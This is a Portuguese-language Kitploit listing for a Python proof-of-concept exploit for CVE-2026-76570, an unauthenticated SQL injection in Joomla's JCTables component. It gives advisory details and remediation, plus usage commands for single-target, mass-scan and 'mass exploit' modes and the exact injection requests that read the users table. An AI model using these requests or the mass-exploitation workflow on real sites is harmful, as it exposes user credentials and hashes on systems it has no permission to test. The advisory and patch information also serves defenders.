Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-76570 — PoC em Python para CVE-2026-76570: injeção SQL não autenticada na API JSON do front-end do Joomla JCTables (com_jctables), com modos de verificação, exploração e varredura em massa. | Kitploit
Ferramentas/GitHubGitHub/murrez/cve-2026-76570
Scanners de VulnerabilidadesScanners de Vulnerabilidades WebAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubmurrez/cve-2026-76570

CVE-2026-76570

PoC em Python para CVE-2026-76570: injeção SQL não autenticada na API JSON do front-end do Joomla JCTables (com_jctables), com modos de verificação, exploração e varredura em massa.

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-76570 — JCTables (com_jctables) leitura/escrita SQL não autenticada

PoC em Python 3 para CVE-2026-76570 — Joomcode JCTables — injeção SQL não autenticada na API CRUD JSON do front-end (getdatarow, getrow, …).

CVE.orghttps://www.cve.org/CVERecord?id=CVE-2026-76570 (PUBLICADO 2026-09-30)
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-76570
CNAJoomla! Project
Componentecom_jctables
Afetado1.0.0 – 1.20.0 (lab: ≤ 1.10.31.2 confirmado)
Correção≥ 1.21.1 (2026-08-05)
CWECWE-89, CWE-862
CVSS 4.010.0 Crítico — AT:N (sem configuração de admin especial)
AnáliseVulnCheck — JCTables SQL R/W → cadeia RCE

Mecanismo (resumo)

As tarefas do controlador do front-end não têm token / ACL. Nomes de tabelas e colunas da requisição são concatenados no SQL; ladb_escape() trata valores entre aspas como “já escapados”. getdatarow pode ler tabelas arbitrárias do banco de dados (ex.: {prefix}users). Esta PoC comprova a leitura (linha com username / bcrypt) — ela não executa a cadeia completa de login de admin / RCE via plugin.

Marcador de sucesso: POCBIT-76570-OK (nos metadados de prova JSON).

Requisitos

  • Python 3.9+
  • pip install requests urllib3 colorama

Uso

cd CVE-2026-76570
python poc.py                         # interactive
python poc.py hits.txt                # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt  # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_    # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help

Superfície da API

EtapaRequisição
Ler linhaGET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1
Sonda booleanaGET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR ''

Remediação

Atualize o JCTables para 1.21.1+ ou remova o componente.

Legal

Apenas para testes de segurança autorizados.

Baixar ferramenta